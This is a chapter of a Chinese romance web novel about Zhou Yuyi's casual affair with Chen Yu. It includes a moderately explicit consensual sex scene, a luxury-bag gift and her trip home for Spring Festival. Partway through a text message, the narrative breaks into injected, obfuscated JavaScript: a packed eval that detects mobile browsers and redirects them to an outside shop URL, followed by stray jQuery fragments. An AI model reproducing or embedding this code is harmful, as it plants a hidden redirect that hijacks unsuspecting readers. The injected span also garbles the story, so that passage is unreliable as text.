“可以关灯睡觉了吗？”
“好。”
灯光熄灭，房间陷入一片黑暗。视觉被剥夺后，其他感官反而被无限放大。
周予萂平躺在床上，两人中间隔着一段距离，宽得足以再躺下一个人。她闭着眼，努力调整呼吸，试图说服自己接受要跟一个不太熟的男人盖着棉被纯睡觉的设定。
然而，就在她以为今晚真的只是单纯睡觉时，一只温热的手探了过来，勾住了她的手指。
没等周予萂反应过来，陈屿已经连人带被子，牢牢地压在了她身上。
“唔。”
黑暗中，细密的吻落了下来，从耳后到脖颈，带着不容抗拒的力度。
周予萂的手抵在他的胸膛上，这一次，是在绝对清醒的状态下，她实实在在摸到了他的躯体。皮肉紧实，是鲜活且充满力量的男性□□。
她今晚穿了一套分体的纯棉短袖睡衣。陈屿的手不太熟练地在布料上游走，似乎对这层阻碍很不满意。他直接从衣摆下探入，粗糙的指腹贴上她腰侧细腻的皮肤，引起一阵战栗。他的动作没有之前急切，用某种极具规律的节奏慢慢蹭磨。
感受到一阵清晰的力度，周予萂没忍住，从喉咙里溢出了一声低吟。
陈屿顿了一下，凑到她耳边说：“bb，你的声音好好听。”
bb？
这个称呼太亲昵了，用在情侣身上没问题，但不适合用在他们身上。周予萂被叫得脑袋发懵，他嘴里喊的bb是谁呢？还是说，他对谁都可以用这个词？
没时间多想，所有思绪就在沉身而入时彻底击溃，周予萂仰起头，指甲陷入他后背的肌肉里。
陈屿贴着她的耳朵问：“bb，舒服吗？这段时间，你有没有想过我？”
周予萂咬着唇不说话，但他不打算放过她，逼着她回答：“有没有？”
“有。”
陈屿低笑一声，顺势含住她的下唇，在唇齿厮磨间，闷声吐出一句算不上情话的话：“我也想你，老是梦到你。”
周予萂心照不宣，他口中的想，是欲望支配下的想。
翌日清晨，窗外的天刚蒙蒙亮。
周予萂还在沉睡，迷糊中听到耳边传来陈屿的声音：“我十点的飞机，要去北京，现在得回家收拾行李。”
“好。”周予萂艰难地从睡梦中转醒，眼皮发沉，含混地应了一声。
陈屿看着她，扣衬衫的手顿了一下，他摸了摸她露在被子外的手臂，指腹滑过手肘内侧，那片紫青色的淤青依然醒目。陈屿低下头，在那处落下轻柔的吻，随后利落地起身下楼。
周予萂躺在床上，听着楼下窸窸窣窣的收拾声，再也没了睡意。没过多久，玄关处传来一声轻响，门关上了。
声音不重，却在这个早晨清晰地钻进了她的耳朵里。房子重新归于寂静，仿佛昨晚只是一场梦。
从那往后，直到春节前，将近两个月的时间里，周予萂只见过他三次。
每一次，他过来都会提前跟她打招呼。缠绵一晚后，第二天一早他便离开。关系就这样淡淡地维系着，像是一条只在黑夜才流动的暗河。
即使加了微信，两人的对话框也干干静静，除了他要来时通知一声，便不再有多余的闲聊。唯一的波澜，发生在平安夜。
那天，周予萂跟郑云眠在罗湖万象城吃饭，想凑凑圣诞的热闹。这也是十月在湘菜馆一别后，两人被各自工作缠身，时隔两个月的第一次碰面。
餐桌上，郑云眠自然而然地绕回了话题。她一边给周予萂夹菜，一边随口问起先前介绍的三个技术骨干：“你和他们聊得怎么样？有没有哪个看着顺眼、感觉不错的？”
上次在车上，郑云眠就让他们互换了微信。
周予萂握筷的指尖微顿，抬眼时语气淡得没什么起伏：“他们都挺好的，就是不怎么来电。”
“行吧，这种事也不能强求，”郑云眠叹了口气，随即又打起精神，“那我再帮你留意留意，总能遇到合眼缘的。”
“不用了。”周予萂轻轻摇头，低头扒了口饭，她还没跟郑云眠提过陈屿的事，也不知道该如何从头说起，末了淡淡补一句：“我现在对谈恋爱没什么兴趣，还是赚钱要紧。”
席间闲聊时，郑云眠习惯性划着朋友圈。忽然，手指顿在屏幕上，她发出一声羡慕的感叹：“你看刘旖伊，怎么人家命就能那么好？感觉压根不用上班，满世界旅游打卡。前两天定位还在土耳其坐热气球，今天又飞到马尔代夫了。”
刘旖伊是郑云眠的初中同学，周予萂没见过她本人，却在郑云眠的手机里看过不少她的照片。话落，郑云眠便把手机屏幕凑到了周予萂眼前。照片里，她穿着剪裁大胆的分体泳衣，身材火辣，松弛感满满。
“真是奢靡的生活。”郑云眠咂了咂舌，“你看！连泳衣都是爱马仕的。”
周予萂凑过去，那标志性的图案确实很显眼。她没说什么，默默端起玻璃杯喝了一口水。
网上很多人说广东人低调务实，一有点钱全炫嘴里了，不会刻意追求名牌，因为这里做奢侈品代工的工厂很多，大家心里清楚，大牌衣服包包成本也就几十块，一贴上牌就卖到几千上万，不值当。
但周予萂对奢侈品没有执念，除了觉得不值当，更重要的原因是，她是真没那么多钱。那个世界离她太遥远，远到甚至生不出哪怕一丝嫉妒。
“她好像又换了一个男朋友，长得巨帅，前段时间发过朋友圈，我翻给你看。”郑云眠快速滑动屏幕，将一张双人合影递到她眼前，说：“你看，你觉不觉得他和陈屿长得很像？真是菀菀类卿啊，都说男人的现任和初恋类型差不多，看来女人也是一样的，审美是个圈。”
周予萂的视线落在那个男人的脸上，仔细端详片刻。确实，脸型轮廓是相像的。她轻轻点了点头，默认了郑云眠的评价。
那晚，到家时已是深夜。楼道的感应灯亮起，周予萂还没走到门口，一眼便望见门前的超大一捧鲜花，旁边还立着一个醒目的橙色纸袋。
她顿住了脚步，看了眼门牌号，没错，是她家。
她把东西提进屋，花束上的卡片上只有龙飞凤舞的四个字：圣诞快乐。拆开那个沉甸甸的橙色盒子，揭开防尘袋，一只经典大象灰的Lindy包静静地躺在里面。
方才和郑云眠讨论的奢侈品品牌，此刻就出现在她家里。哪怕她不追求奢侈品，也清楚这个包的分量。除了陈屿，她身边没有第二个人会送、也送得起这么贵重的东西。
她拿出手机，点开那座孤岛的头像。对话框里，上一条消息停留在12月12号，那天他发来一句：【我回来了，今天找你，方便吗？】
当时她正忙得焦头烂额，没有回复，但他那晚还是来了。
眼前的Lindy包很是刺眼，周予萂犹豫了一会儿，还是敲下一行字：【是你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410505|200667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
送的礼物嘛？太贵重了，我不能收。】
这一次，对方几乎是秒回。
陈屿：【你的东西，随你处置。】
言下之意：送出去了就是你的，哪怕你把它扔进垃圾桶，我也不会收回来。这股傲慢，确实很陈屿。
周予萂盯着那行字看了半天，她满头雾水，不知该如何处置。扔掉是不可能的，但收下也不行。
对她来说，接受别人的馈赠，是一种麻烦，因为无法毫无负担地接受，所以要想方设法回馈，还要尽量回馈价位差不多的东西。她节省惯了，不可能把钱花在奢侈品身上，虽然她咬咬牙也买得起，但她的钱有别的用途，至少目前她还回馈不起。
最后，周予萂眼不见为净，重新把Lindy包放进橙色纸袋，放进了玄关最上层的柜子里。
小插曲结束后，再见陈屿，是在她春节放假前夕。
周予萂所在的公司福利不错，春节足足有二十天带薪假，从腊月十七开始，到年初八复工。临近放假时，陈屿给她打了一通电话，一阵寒暄后，他随口问：“过年什么时候回老家？”
周予萂报出了一个日期。
听筒那边陷入了长达几秒的沉默。他似乎有些意外这个假期竟如此漫长，随后，陈屿只说了句：“好。”
在陈屿没来的日子里，周予萂跟以往独身的生活没有任何区别，每天两点一线，摇摆于公司与家之间。唯一的变数是陈屿，他像一场无法被预报的过境台风，毫无预兆地闯入她的夜晚，搅乱一池春水后又匆匆离开，只有身体残留的余温证明他来过。
周予萂坦然接受了感官和心理上的变化。起初，她在结束后会强迫症般地清洗床单、擦拭他触碰过的物品，试图通过物理性的消除，抹去他存在的痕迹。但后来，她不再这么做了，因为毫无必要，既然已经默许了他的入侵，那些清洗都变成了徒劳。
忙碌的时候，周予萂并不会怎么想起他，可月经来临前，躺在床上，之前的画面便像放电影一样在她眼前炸开。她不得不承认，和陈屿做那档子事时，她是快活的，更是肆意的。也许她自己都没意识到，在陈屿卖力取悦她时，她也在用力迎合，因为独柴难起火。
本以为年前不会再见到陈屿，但在她离开深圳的前一晚，他却悄无声息地来了。
借着床头昏黄的灯光，周予萂发现他比上次更显清瘦，眼下的青黑在暖光中也难以遮掩。他似乎陷入了某种焦虑中，无论是睡前还是半夜醒来，她总能看到他在黑暗中回复消息，手机屏幕的幽光映着他紧锁的眉头。
但他不说，周予萂便绝不会问。她很清楚，他们之间的关系仅限于身体上的碰撞，除此之外，任何关于其他的探问，都是越界了。
那一晚他格外不知餍足，在黑暗中一遍遍索取，动作急切而用力，像是要在这短短一夜里，将过去与未来的空缺全部填满，又或者试图通过这种原始的碰撞，来确认某种真实的存在感。
第二天清晨，微光透过窗帘缝隙洒了进来。
周予萂正在床边收拾行李，陈屿被她的动静吵醒了，他撑着手臂坐起来，声音有些沙哑地问：“可以多待一天吗？明天再回。”
周予萂叠衣服的手顿了顿，并没有抬头看他。
“不行。”她的语气平稳，没有任何回旋的余地，“我已经提前和外婆说好了，今天会回家。”
她拒绝得干脆，陈屿没有理由让她留下。